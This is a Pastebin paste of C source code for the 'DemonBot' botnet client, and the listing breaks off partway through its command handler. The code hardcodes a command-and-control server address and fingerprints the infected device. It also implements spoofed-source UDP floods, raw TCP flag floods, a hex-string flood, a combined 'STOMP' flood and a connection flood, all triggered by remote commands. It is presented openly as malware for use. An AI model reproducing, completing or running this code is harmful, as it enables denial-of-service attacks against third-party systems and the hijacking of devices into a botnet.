Advertisement
MrDoxing

DemonBot

Sep 30th, 2018
539
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.09 KB | None | 0 0
  1. // Created by: Non Responding
  2. // Edited by: Logiztiic
  3. // Published by: Unknown
  4.  
  5. #include <stdlib.h>
  6. #include <stdarg.h>
  7. #include <stdio.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11. #include <arpa/inet.h>
  12. #include <netdb.h>
  13. #include <signal.h>
  14. #include <strings.h>
  15. #include <string.h>
  16. #include <sys/utsname.h>
  17. #include <unistd.h>
  18. #include <fcntl.h>
  19. #include <errno.h>
  20. #include <netinet/ip.h>
  21. #include <netinet/udp.h>
  22. #include <netinet/tcp.h>
  23. #include <sys/wait.h>
  24. #include <sys/ioctl.h>
  25. #include <net/if.h>
  26. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  27. #define PAD_RIGHT 1
  28. #define PAD_ZERO 2
  29. #define PRINT_BUF_LEN 12
  30. #define CMD_IAC 255
  31. #define CMD_WILL 251
  32. #define CMD_WONT 252
  33. #define CMD_DO 253
  34. #define CMD_DONT 254
  35. #define OPT_SGA 3
  36. #define std_packets 1460
  37. #define BUFFER_SIZE 512
  38. unsigned char *commServer[] = {"80.211.83.69:666"};
  39. int initConnection();
  40. void makeRandomStr(unsigned char *buf, int length);
  41. int sockprintf(int sock, char *formatStr, ...);
  42. char *inet_ntoa(struct in_addr in);
  43. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  44. uint32_t *pids;
  45. uint64_t numpids = 0;
  46. struct in_addr ourIP;
  47. #define PHI 0x9e3779b9
  48. static uint32_t Q[4096], c = 362436;
  49. unsigned char macAddress[6] = {0};
  50.  
  51. void init_rand(uint32_t x)
  52. {
  53. int i;
  54.  
  55. Q[0] = x;
  56. Q[1] = x + PHI;
  57. Q[2] = x + PHI + PHI;
  58.  
  59. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  60. }
  61. uint32_t rand_cmwc(void)
  62. {
  63. uint64_t t, a = 18782LL;
  64. static uint32_t i = 4095;
  65. uint32_t x, r = 0xfffffffe;
  66. i = (i + 1) & 4095;
  67. t = a * Q[i] + c;
  68. c = (uint32_t)(t >> 32);
  69. x = t + c;
  70. if (x < c) {
  71. x++;
  72. c++;
  73. }
  74. return (Q[i] = r - x);
  75. }
  76. in_addr_t getRandomIP(in_addr_t netmask) {
  77. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  78. return tmp ^ ( rand_cmwc() & ~netmask);
  79. }
  80. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  81. {
  82. int got = 1, total = 0;
  83. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  84. return got == 0 ? NULL : buffer;
  85. }
  86. int getOurIP()
  87. {
  88. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  89. if(sock == -1) return 0;
  90.  
  91. struct sockaddr_in serv;
  92. memset(&serv, 0, sizeof(serv));
  93. serv.sin_family = AF_INET;
  94. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  95. serv.sin_port = htons(53);
  96.  
  97. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  98. if(err == -1) return 0;
  99.  
  100. struct sockaddr_in name;
  101. socklen_t namelen = sizeof(name);
  102. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  103. if(err == -1) return 0;
  104.  
  105. ourIP.s_addr = name.sin_addr.s_addr;
  106. int cmdline = open("/proc/net/route", O_RDONLY);
  107. char linebuf[4096];
  108. while(fdgets(linebuf, 4096, cmdline) != NULL)
  109. {
  110. if(strstr(linebuf, "\t00000000\t") != NULL)
  111. {
  112. unsigned char *pos = linebuf;
  113. while(*pos != '\t') pos++;
  114. *pos = 0;
  115. break;
  116. }
  117. memset(linebuf, 0, 4096);
  118. }
  119. close(cmdline);
  120.  
  121. if(*linebuf)
  122. {
  123. int i;
  124. struct ifreq ifr;
  125. strcpy(ifr.ifr_name, linebuf);
  126. ioctl(sock, SIOCGIFHWADDR, &ifr);
  127. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  128. }
  129.  
  130. close(sock);
  131. }
  132. void trim(char *str)
  133. {
  134. int i;
  135. int begin = 0;
  136. int end = strlen(str) - 1;
  137.  
  138. while (isspace(str[begin])) begin++;
  139.  
  140. while ((end >= begin) && isspace(str[end])) end--;
  141. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  142.  
  143. str[i - begin] = '\0';
  144. }
  145.  
  146. static void printchar(unsigned char **str, int c)
  147. {
  148. if (str) {
  149. **str = c;
  150. ++(*str);
  151. }
  152. else (void)write(1, &c, 1);
  153. }
  154.  
  155. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  156. {
  157. register int pc = 0, padchar = ' ';
  158.  
  159. if (width > 0) {
  160. register int len = 0;
  161. register const unsigned char *ptr;
  162. for (ptr = string; *ptr; ++ptr) ++len;
  163. if (len >= width) width = 0;
  164. else width -= len;
  165. if (pad & PAD_ZERO) padchar = '0';
  166. }
  167. if (!(pad & PAD_RIGHT)) {
  168. for ( ; width > 0; --width) {
  169. printchar (out, padchar);
  170. ++pc;
  171. }
  172. }
  173. for ( ; *string ; ++string) {
  174. printchar (out, *string);
  175. ++pc;
  176. }
  177. for ( ; width > 0; --width) {
  178. printchar (out, padchar);
  179. ++pc;
  180. }
  181.  
  182. return pc;
  183. }
  184.  
  185. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  186. {
  187. unsigned char print_buf[PRINT_BUF_LEN];
  188. register unsigned char *s;
  189. register int t, neg = 0, pc = 0;
  190. register unsigned int u = i;
  191.  
  192. if (i == 0) {
  193. print_buf[0] = '0';
  194. print_buf[1] = '\0';
  195. return prints (out, print_buf, width, pad);
  196. }
  197.  
  198. if (sg && b == 10 && i < 0) {
  199. neg = 1;
  200. u = -i;
  201. }
  202.  
  203. s = print_buf + PRINT_BUF_LEN-1;
  204. *s = '\0';
  205.  
  206. while (u) {
  207. t = u % b;
  208. if( t >= 10 )
  209. t += letbase - '0' - 10;
  210. *--s = t + '0';
  211. u /= b;
  212. }
  213.  
  214. if (neg) {
  215. if( width && (pad & PAD_ZERO) ) {
  216. printchar (out, '-');
  217. ++pc;
  218. --width;
  219. }
  220. else {
  221. *--s = '-';
  222. }
  223. }
  224.  
  225. return pc + prints (out, s, width, pad);
  226. }
  227.  
  228. static int print(unsigned char **out, const unsigned char *format, va_list args )
  229. {
  230. register int width, pad;
  231. register int pc = 0;
  232. unsigned char scr[2];
  233.  
  234. for (; *format != 0; ++format) {
  235. if (*format == '%') {
  236. ++format;
  237. width = pad = 0;
  238. if (*format == '\0') break;
  239. if (*format == '%') goto out;
  240. if (*format == '-') {
  241. ++format;
  242. pad = PAD_RIGHT;
  243. }
  244. while (*format == '0') {
  245. ++format;
  246. pad |= PAD_ZERO;
  247. }
  248. for ( ; *format >= '0' && *format <= '9'; ++format) {
  249. width *= 10;
  250. width += *format - '0';
  251. }
  252. if( *format == 's' ) {
  253. register char *s = (char *)va_arg( args, int );
  254. pc += prints (out, s?s:"(null)", width, pad); // this to
  255. continue;
  256. }
  257. if( *format == 'd' ) {
  258. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  259. continue;
  260. }
  261. if( *format == 'x' ) {
  262. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  263. continue;
  264. }
  265. if( *format == 'X' ) {
  266. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  267. continue;
  268. }
  269. if( *format == 'u' ) {
  270. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  271. continue;
  272. }
  273. if( *format == 'c' ) {
  274. scr[0] = (unsigned char)va_arg( args, int );
  275. scr[1] = '\0';
  276. pc += prints (out, scr, width, pad);
  277. continue;
  278. }
  279. }
  280. else {
  281. out:
  282. printchar (out, *format);
  283. ++pc;
  284. }
  285. }
  286. if (out) **out = '\0';
  287. va_end( args );
  288. return pc;
  289. }
  290. int sockprintf(int sock, char *formatStr, ...)
  291. {
  292. unsigned char *textBuffer = malloc(2048);
  293. memset(textBuffer, 0, 2048);
  294. char *orig = textBuffer;
  295. va_list args;
  296. va_start(args, formatStr);
  297. print(&textBuffer, formatStr, args);
  298. va_end(args);
  299. orig[strlen(orig)] = '\n';
  300. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  301. free(orig);
  302. return q;
  303. }
  304.  
  305. int getHost(unsigned char *toGet, struct in_addr *i)
  306. {
  307. struct hostent *h;
  308. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  309. return 0;
  310. }
  311.  
  312. void makeRandomStr(unsigned char *buf, int length)
  313. {
  314. int i = 0;
  315. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  316. }
  317.  
  318. int recvLine(int socket, unsigned char *buf, int bufsize)
  319. {
  320. memset(buf, 0, bufsize);
  321. fd_set myset;
  322. struct timeval tv;
  323. tv.tv_sec = 30;
  324. tv.tv_usec = 0;
  325. FD_ZERO(&myset);
  326. FD_SET(socket, &myset);
  327. int selectRtn, retryCount;
  328. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  329. while(retryCount < 10)
  330. {
  331. tv.tv_sec = 30;
  332. tv.tv_usec = 0;
  333. FD_ZERO(&myset);
  334. FD_SET(socket, &myset);
  335. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  336. retryCount++;
  337. continue;
  338. }
  339. break;
  340. }
  341. }
  342. unsigned char tmpchr;
  343. unsigned char *cp;
  344. int count = 0;
  345. cp = buf;
  346. while(bufsize-- > 1)
  347. {
  348. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  349. *cp = 0x00;
  350. return -1;
  351. }
  352. *cp++ = tmpchr;
  353. if(tmpchr == '\n') break;
  354. count++;
  355. }
  356. *cp = 0x00;
  357. return count;
  358. }
  359.  
  360. int connectTimeout(int fd, char *host, int port, int timeout)
  361. {
  362. struct sockaddr_in dest_addr;
  363. fd_set myset;
  364. struct timeval tv;
  365. socklen_t lon;
  366.  
  367. int valopt;
  368. long arg = fcntl(fd, F_GETFL, NULL);
  369. arg |= O_NONBLOCK;
  370. fcntl(fd, F_SETFL, arg);
  371.  
  372. dest_addr.sin_family = AF_INET;
  373. dest_addr.sin_port = htons(port);
  374. if(getHost(host, &dest_addr.sin_addr)) return 0;
  375. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  376. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  377.  
  378. if (res < 0) {
  379. if (errno == EINPROGRESS) {
  380. tv.tv_sec = timeout;
  381. tv.tv_usec = 0;
  382. FD_ZERO(&myset);
  383. FD_SET(fd, &myset);
  384. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  385. lon = sizeof(int);
  386. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  387. if (valopt) return 0;
  388. }
  389. else return 0;
  390. }
  391. else return 0;
  392. }
  393.  
  394. arg = fcntl(fd, F_GETFL, NULL);
  395. arg &= (~O_NONBLOCK);
  396. fcntl(fd, F_SETFL, arg);
  397.  
  398. return 1;
  399. }
  400.  
  401. int listFork()
  402. {
  403. uint32_t parent, *newpids, i;
  404. parent = fork();
  405. if (parent <= 0) return parent;
  406. numpids++;
  407. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  408. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  409. newpids[numpids - 1] = parent;
  410. free(pids);
  411. pids = newpids;
  412. return parent;
  413. }
  414.  
  415. unsigned short csum (unsigned short *buf, int count)
  416. {
  417. register uint64_t sum = 0;
  418. while( count > 1 ) { sum += *buf++; count -= 2; }
  419. if(count > 0) { sum += *(unsigned char *)buf; }
  420. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  421. return (uint16_t)(~sum);
  422. }
  423.  
  424. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  425. {
  426.  
  427. struct tcp_pseudo
  428. {
  429. unsigned long src_addr;
  430. unsigned long dst_addr;
  431. unsigned char zero;
  432. unsigned char proto;
  433. unsigned short length;
  434. } pseudohead;
  435. unsigned short total_len = iph->tot_len;
  436. pseudohead.src_addr=iph->saddr;
  437. pseudohead.dst_addr=iph->daddr;
  438. pseudohead.zero=0;
  439. pseudohead.proto=IPPROTO_TCP;
  440. pseudohead.length=htons(sizeof(struct tcphdr));
  441. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  442. unsigned short *tcp = malloc(totaltcp_len);
  443. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  444. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  445. unsigned short output = csum(tcp,totaltcp_len);
  446. free(tcp);
  447. return output;
  448. }
  449.  
  450. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  451. {
  452. iph->ihl = 5;
  453. iph->version = 4;
  454. iph->tos = 0;
  455. iph->tot_len = sizeof(struct iphdr) + packetSize;
  456. iph->id = rand_cmwc();
  457. iph->frag_off = 0;
  458. iph->ttl = MAXTTL;
  459. iph->protocol = protocol;
  460. iph->check = 0;
  461. iph->saddr = source;
  462. iph->daddr = dest;
  463. }
  464.  
  465. void audp(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  466. {
  467. struct sockaddr_in dest_addr; dest_addr.sin_family = AF_INET;
  468. if(port == 0) dest_addr.sin_port = rand_cmwc();
  469. else dest_addr.sin_port = htons(port);
  470. if(getHost(target, &dest_addr.sin_addr)) return; memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  471. register unsigned int pollRegister; pollRegister = pollinterval;
  472. if(spoofit == 32) {int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  473. if(!sockfd) {
  474. return;
  475. }
  476. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  477. if(buf == NULL) return; memset(buf, 0, packetsize + 1);
  478. makeRandomStr(buf, packetsize);
  479. int end = time(NULL) + timeEnd;
  480. register unsigned int i = 0;
  481. while(1) {
  482. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  483. if(i == pollRegister) {
  484.  
  485. if(port == 0) dest_addr.sin_port = rand_cmwc();
  486. if(time(NULL) > end)
  487. break; i = 0; continue; } i++; }} else {int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if(!sockfd) { return;} int tmp = 1; if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0){return;} int counter = 50; while(counter--) { srand(time(NULL) ^ rand_cmwc());init_rand(rand());} in_addr_t netmask; if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) ); else netmask = ( ~((1 << (32 - spoofit)) - 1) );unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize]; struct iphdr *iph = (struct iphdr *)packet; struct udphdr *udph = (void *)iph + sizeof(struct iphdr); makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize); udph->len = htons(sizeof(struct udphdr) + packetsize); udph->source = rand_cmwc(); udph->dest = (port == 0 ? rand_cmwc() : htons(port)); udph->check = 0; makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize); iph->check = csum ((unsigned short *) packet, iph->tot_len); int end = time(NULL) + timeEnd; register unsigned int i = 0; while(1){ sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); udph->source = rand_cmwc(); udph->dest = (port == 0 ? rand_cmwc() : htons(port)); iph->id = rand_cmwc(); iph->saddr = htonl( getRandomIP(netmask) ); iph->check = csum ((unsigned short *) packet, iph->tot_len); if(i == pollRegister){if(time(NULL) > end) break; i = 0; continue; } i++; } }
  488. }
  489.  
  490. void atcp(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  491. {
  492. register unsigned int pollRegister; pollRegister = pollinterval;
  493. struct sockaddr_in dest_addr;
  494. dest_addr.sin_family = AF_INET;
  495. if(port == 0)
  496. dest_addr.sin_port = rand_cmwc();
  497. else
  498. dest_addr.sin_port = htons(port);
  499. if(getHost(target, &dest_addr.sin_addr))
  500. return;
  501. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  502. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  503. if(!sockfd) {
  504. return;
  505. }
  506. int tmp = 1;
  507. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  508. return;
  509. }
  510. in_addr_t netmask;
  511. if ( spoofit == 0 )
  512. netmask = ( ~((in_addr_t) -1) );
  513. else
  514. netmask = ( ~((1 << (32 - spoofit)) - 1) );
  515. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  516. struct iphdr *iph = (struct iphdr *)packet;
  517. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  518. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  519. tcph->source = rand_cmwc();
  520. tcph->seq = rand_cmwc();
  521. tcph->ack_seq = 0;
  522. tcph->doff = 5;
  523. if(!strcmp(flags, "all")){ tcph->syn = 1; tcph->rst = 1; tcph->fin = 1; tcph->ack = 1; tcph->psh = 1;} else { unsigned char *pch = strtok(flags, ","); while(pch){ if(!strcmp(pch, "syn")){ tcph->syn = 1; } else if(!strcmp(pch, "rst")){ tcph->rst = 1; } else if(!strcmp(pch, "fin")) { tcph->fin = 1;} else if(!strcmp(pch, "ack")){ tcph->ack = 1;} else if(!strcmp(pch, "psh")){tcph->psh = 1;} else {} pch = strtok(NULL, ",");}} tcph->window = rand_cmwc(); tcph->check = 0; tcph->urg_ptr = 0; tcph->dest = (port == 0 ? rand_cmwc() : htons(port)); tcph->check = tcpcsum(iph, tcph); iph->check = csum ((unsigned short *) packet, iph->tot_len); int end = time(NULL) + timeEnd; register unsigned int i = 0;
  524. while(1){ sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); iph->saddr = htonl( getRandomIP(netmask) ); iph->id = rand_cmwc(); tcph->seq = rand_cmwc(); tcph->source = rand_cmwc(); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); iph->check = csum ((unsigned short *) packet, iph->tot_len); if(i == pollRegister) { if(time(NULL) > end) break; i = 0; continue; } i++; }
  525. }
  526. void astd(unsigned char *ip, int port, int secs)
  527. {
  528. int std_hex;
  529. std_hex = socket(AF_INET, SOCK_DGRAM, 0);
  530. time_t start = time(NULL);
  531. struct sockaddr_in sin;
  532. struct hostent *hp;
  533. hp = gethostbyname(ip);
  534. bzero((char*) &sin,sizeof(sin));
  535. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  536. sin.sin_family = hp->h_addrtype;
  537. sin.sin_port = port;
  538. unsigned int a = 0;
  539. while(1)
  540. {
  541. char *hexstring[] = {"/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A"};
  542. if (a >= 50)
  543. {
  544. send(std_hex, hexstring, std_packets, 0);
  545. connect(std_hex,(struct sockaddr *) &sin, sizeof(sin));
  546. if (time(NULL) >= start + secs)
  547. {
  548. close(std_hex);
  549. _exit(0);
  550. }
  551. a = 0;
  552. }
  553. a++;
  554. }
  555. }
  556. void acnc(unsigned char *ip,int port, int end_time)
  557. {
  558. int end = time(NULL) + end_time;
  559. int sockfd;
  560. struct sockaddr_in server;
  561. //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  562.  
  563. server.sin_addr.s_addr = inet_addr(ip);
  564. server.sin_family = AF_INET;
  565. server.sin_port = htons(port);
  566.  
  567. while(end > time(NULL))
  568. {
  569. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  570. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  571. sleep(1);
  572. close(sockfd);
  573. }
  574.  
  575. }
  576. char *getArch() {
  577. #if defined(__x86_64__) || defined(_M_X64)
  578. return "x86_64";
  579. #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86)
  580. return "x86_32";
  581. #elif defined(__ARM_ARCH_2__) || defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__) || defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  582. return "Arm4";
  583. #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  584. return "Arm5"
  585. #elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_) ||defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__) || defined(__aarch64__)
  586. return "Arm6";
  587. #elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__)
  588. return "Arm7";
  589. #elif defined(mips) || defined(__mips__) || defined(__mips)
  590. return "Mips";
  591. #elif defined(mipsel) || defined (__mipsel__) || defined (__mipsel) || defined (_mipsel)
  592. return "Mipsel";
  593. #elif defined(__sh__)
  594. return "Sh4";
  595. #elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64)
  596. return "Ppc";
  597. #elif defined(__sparc__) || defined(__sparc)
  598. return "spc";
  599. #elif defined(__m68k__)
  600. return "M68k";
  601. #elif defined(__arc__)
  602. return "Arc";
  603. #else
  604. return "Unknown";
  605. #endif
  606. }
  607. char *getBuildz()
  608. {
  609. if(access("/usr/bin/python", F_OK) != -1){
  610. return "Python Device";
  611. }
  612. if(access("/usr/bin/perl", F_OK) != -1){
  613. return "Perl Device";
  614. }
  615. if(access("/usr/sbin/telnetd", F_OK) != -1){
  616. return "Telnet Device";
  617. } else {
  618. return "Unknown";
  619. }
  620. }
  621. char *getPortz()
  622. {
  623. if(access("/usr/bin/python", F_OK) != -1){
  624. return "22";
  625. }
  626. if(access("/usr/bin/perl", F_OK) != -1){
  627. return "22";
  628. }
  629. if(access("/usr/sbin/telnetd", F_OK) != -1){
  630. return "23";
  631. } else {
  632. return "22";
  633. }
  634. }
  635. char *getOS()
  636. {
  637. if(access("/etc/apt/apt.conf", F_OK) != -1){
  638. return "Debian Based Device";
  639. }
  640. if(access("/etc/yum.conf", F_OK) != -1){
  641. return "REHL Based Device";
  642. } else {
  643. return "Unknown OS";
  644. }
  645. }
  646. void processCmd(int argc, unsigned char *argv[])
  647. {
  648. if(!strcmp(argv[0], "UDP"))
  649. {
  650. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  651. {
  652. return;
  653. }
  654.  
  655. unsigned char *ip = argv[1];
  656. int port = atoi(argv[2]);
  657. int time = atoi(argv[3]);
  658. int spoofed = atoi(argv[4]);
  659. int packetsize = atoi(argv[5]);
  660. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  661.  
  662. if(strstr(ip, ",") != NULL)
  663. {
  664. unsigned char *hi = strtok(ip, ",");
  665. while(hi != NULL)
  666. {
  667. if(!listFork())
  668. {
  669. audp(hi, port, time, spoofed, packetsize, pollinterval);
  670. close(mainCommSock);
  671. _exit(0);
  672. }
  673. hi = strtok(NULL, ",");
  674. }
  675. } else {
  676. if (listFork()) { return; }
  677. audp(ip, port, time, spoofed, packetsize, pollinterval);
  678. close(mainCommSock);
  679.  
  680. _exit(0);
  681. }
  682. }
  683. if(!strcmp(argv[0], "STD"))
  684. {
  685. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  686. {
  687. return;
  688. }
  689. unsigned char *ip = argv[1];
  690. int port = atoi(argv[2]);
  691. int time = atoi(argv[3]);
  692. if(strstr(ip, ",") != NULL)
  693. {
  694. unsigned char *hi = strtok(ip, ",");
  695. while(hi != NULL)
  696. {
  697. if(!listFork())
  698. {
  699. astd(hi, port, time);
  700. _exit(0);
  701. }
  702. hi = strtok(NULL, ",");
  703. }
  704. } else {
  705. if (listFork()) { return; }
  706. astd(ip, port, time);
  707. _exit(0);
  708. }
  709. }
  710. if(!strcmp(argv[0], "TCP"))
  711. {
  712. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  713. {
  714. return;
  715. }
  716.  
  717. unsigned char *ip = argv[1];
  718. int port = atoi(argv[2]);
  719. int time = atoi(argv[3]);
  720. int spoofed = atoi(argv[4]);
  721. unsigned char *flags = argv[5];
  722.  
  723. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  724. int psize = argc > 6 ? atoi(argv[6]) : 0;
  725.  
  726. if(strstr(ip, ",") != NULL)
  727. {
  728. unsigned char *hi = strtok(ip, ",");
  729. while(hi != NULL)
  730. {
  731. if(!listFork())
  732. {
  733. atcp(hi, port, time, spoofed, flags, psize, pollinterval);
  734. close(mainCommSock);
  735. _exit(0);
  736. }
  737. hi = strtok(NULL, ",");
  738. }
  739. } else {
  740. if (listFork()) { return; }
  741. sockprintf(mainCommSock, "Sending TCP Packets To: %s:%d for %d seconds", argv[1], atoi(argv[2]), atoi(argv[3]));
  742. atcp(ip, port, time, spoofed, flags, psize, pollinterval);
  743. close(mainCommSock);
  744.  
  745. _exit(0);
  746. }
  747. }
  748. if(!strcmp(argv[0], "STOMP"))
  749. {
  750. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  751. {
  752. return;
  753. }
  754. unsigned char *ip = argv[1];
  755. int port = atoi(argv[2]);
  756. int time = atoi(argv[3]);
  757. int spoofed = atoi(argv[4]);
  758. unsigned char *flags = argv[5];
  759. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  760. int packetsize = argc > 6 ? atoi(argv[6]) : 0;
  761. if(strstr(ip, ",") != NULL)
  762. {
  763. unsigned char *hi = strtok(ip, ",");
  764. while(hi != NULL)
  765. {
  766. if(!listFork())
  767. {
  768. astd(ip, port, time);
  769. audp(ip, port, time, spoofed, packetsize, pollinterval);
  770. atcp(ip, port, time, spoofed, flags, packetsize, pollinterval);
  771. close(mainCommSock);
  772. _exit(0);
  773. }
  774. hi = strtok(NULL, ",");
  775. }
  776. } else {
  777. if (listFork()) { return; }
  778. astd(ip, port, time);
  779. audp(ip, port, time, spoofed, packetsize, pollinterval);
  780. atcp(ip, port, time, spoofed, flags, packetsize, pollinterval);
  781. close(mainCommSock);
  782. _exit(0);
  783. }
  784. }
  785. if(!strcmp(argv[0], "CNC"))
  786. {
  787. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  788. {
  789.  
  790. return;
  791. }
  792.  
  793. unsigned char *ip = argv[1];
  794. int port = atoi(argv[2]);
  795. int time = atoi(argv[3]);
  796.  
